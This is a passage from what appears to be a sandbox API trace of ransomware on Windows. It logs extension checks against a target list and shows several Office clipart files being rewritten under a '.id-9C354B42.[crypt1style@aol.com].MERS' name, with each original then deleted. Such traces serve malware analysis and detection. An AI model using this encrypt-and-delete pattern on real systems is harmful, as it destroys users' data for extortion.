Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.504] lstrlenW (lpString=".doc") returned 4 [0272.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.504] lstrlenW (lpString=".docx") returned 5 [0272.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.504] lstrlenW (lpString=".pdf") returned 4 [0272.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.504] lstrlenW (lpString=".xls") returned 4 [0272.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.504] lstrlenW (lpString=".xlsx") returned 5 [0272.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.516] lstrlenW (lpString=".ppt") returned 4 [0272.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString=".zip") returned 4 [0272.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.516] lstrlenW (lpString=".rar") returned 4 [0272.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString=".bz2") returned 4 [0272.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString=".7z") returned 3 [0272.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString=".dbf") returned 4 [0272.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString=".1cd") returned 4 [0272.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString=".jpg") returned 4 [0272.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.516] lstrlenW (lpString=".doc") returned 4 [0272.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString=".docx") returned 5 [0272.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.516] lstrlenW (lpString=".pdf") returned 4 [0272.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.516] lstrlenW (lpString=".xls") returned 4 [0272.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.516] lstrlenW (lpString=".xlsx") returned 5 [0272.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.517] lstrlenW (lpString=".ppt") returned 4 [0272.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.517] lstrlenW (lpString=".zip") returned 4 [0272.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.517] lstrlenW (lpString=".rar") returned 4 [0272.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.517] lstrlenW (lpString=".bz2") returned 4 [0272.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.517] lstrlenW (lpString=".7z") returned 3 [0272.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.517] lstrlenW (lpString=".dbf") returned 4 [0272.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.517] lstrlenW (lpString=".1cd") returned 4 [0272.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 63 [0272.517] lstrlenW (lpString=".jpg") returned 4 [0272.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.517] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.517] lstrlenW (lpString="BL00390_.WMF") returned 12 [0272.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0272.526] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=13102) returned 1 [0272.527] CloseHandle (hObject=0x404) returned 1 [0272.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0272.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0272.527] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.527] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.527] GetLastError () returned 0x0 [0272.527] ReadFile (in: hFile=0x404, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x332e, lpOverlapped=0x0) returned 1 [0272.660] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0272.661] ReadFile (in: hFile=0x404, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.661] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.661] SetEndOfFile (hFile=0x2d8) returned 1 [0272.661] CloseHandle (hObject=0x2d8) returned 1 [0272.661] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.661] SetEndOfFile (hFile=0x404) returned 1 [0272.663] CloseHandle (hObject=0x404) returned 1 [0272.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString=".doc") returned 4 [0272.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString=".docx") returned 5 [0272.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.664] lstrlenW (lpString=".pdf") returned 4 [0272.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString=".xls") returned 4 [0272.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.664] lstrlenW (lpString=".xlsx") returned 5 [0272.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.664] lstrlenW (lpString=".ppt") returned 4 [0272.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString=".zip") returned 4 [0272.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.664] lstrlenW (lpString=".rar") returned 4 [0272.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString=".bz2") returned 4 [0272.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString=".7z") returned 3 [0272.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString=".dbf") returned 4 [0272.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString=".1cd") returned 4 [0272.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString=".jpg") returned 4 [0272.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.665] lstrlenW (lpString=".doc") returned 4 [0272.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString=".docx") returned 5 [0272.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.665] lstrlenW (lpString=".pdf") returned 4 [0272.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString=".xls") returned 4 [0272.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.665] lstrlenW (lpString=".xlsx") returned 5 [0272.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.665] lstrlenW (lpString=".ppt") returned 4 [0272.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.665] lstrlenW (lpString=".zip") returned 4 [0272.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.665] lstrlenW (lpString=".rar") returned 4 [0272.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString=".bz2") returned 4 [0272.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString=".7z") returned 3 [0272.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.665] lstrlenW (lpString=".dbf") returned 4 [0272.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.665] lstrlenW (lpString=".1cd") returned 4 [0272.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0272.666] lstrlenW (lpString=".jpg") returned 4 [0272.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.666] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.666] lstrlenW (lpString="BL00923_.WMF") returned 12 [0272.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0272.754] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=6256) returned 1 [0272.754] CloseHandle (hObject=0x3ac) returned 1 [0272.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0272.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.778] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.778] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.779] GetLastError () returned 0x0 [0272.779] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1870, lpOverlapped=0x0) returned 1 [0272.780] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0272.780] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.780] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.781] SetEndOfFile (hFile=0x2d8) returned 1 [0272.781] CloseHandle (hObject=0x2d8) returned 1 [0272.781] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.781] SetEndOfFile (hFile=0x3a8) returned 1 [0272.782] CloseHandle (hObject=0x3a8) returned 1 [0272.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.783] lstrlenW (lpString=".doc") returned 4 [0272.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString=".docx") returned 5 [0272.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.783] lstrlenW (lpString=".pdf") returned 4 [0272.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString=".xls") returned 4 [0272.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.783] lstrlenW (lpString=".xlsx") returned 5 [0272.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.783] lstrlenW (lpString=".ppt") returned 4 [0272.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.783] lstrlenW (lpString=".zip") returned 4 [0272.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.783] lstrlenW (lpString=".rar") returned 4 [0272.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString=".bz2") returned 4 [0272.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString=".7z") returned 3 [0272.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.783] lstrlenW (lpString=".dbf") returned 4 [0272.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.783] lstrlenW (lpString=".1cd") returned 4 [0272.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".jpg") returned 4 [0272.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".doc") returned 4 [0272.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString=".docx") returned 5 [0272.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.784] lstrlenW (lpString=".pdf") returned 4 [0272.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString=".xls") returned 4 [0272.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.784] lstrlenW (lpString=".xlsx") returned 5 [0272.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.784] lstrlenW (lpString=".ppt") returned 4 [0272.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".zip") returned 4 [0272.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.784] lstrlenW (lpString=".rar") returned 4 [0272.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString=".bz2") returned 4 [0272.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString=".7z") returned 3 [0272.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".dbf") returned 4 [0272.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".1cd") returned 4 [0272.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0272.784] lstrlenW (lpString=".jpg") returned 4 [0272.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.785] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.785] lstrlenW (lpString="BOATINST.WMF") returned 12 [0272.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.785] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=29004) returned 1 [0272.785] CloseHandle (hObject=0x3a8) returned 1 [0272.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0272.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.785] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.785] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0272.786] GetLastError () returned 0x0 [0272.786] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x714c, lpOverlapped=0x0) returned 1 [0272.906] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0272.907] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.907] WriteFile (in: hFile=0x2d8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.907] SetEndOfFile (hFile=0x2d8) returned 1 [0272.907] CloseHandle (hObject=0x2d8) returned 1 [0272.907] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.907] SetEndOfFile (hFile=0x3a8) returned 1 [0272.909] CloseHandle (hObject=0x3a8) returned 1 [0272.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0272.918] lstrlenW (lpString=".doc") returned 4 [0272.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".docx") returned 5 [0272.918] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0272.918] lstrlenW (lpString=".pdf") returned 4 [0272.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.918] lstrlenW (lpString=".xls") returned 4 [0272.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.918] lstrlenW (lpString=".xlsx") returned 5 [0272.918] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0272.918] lstrlenW 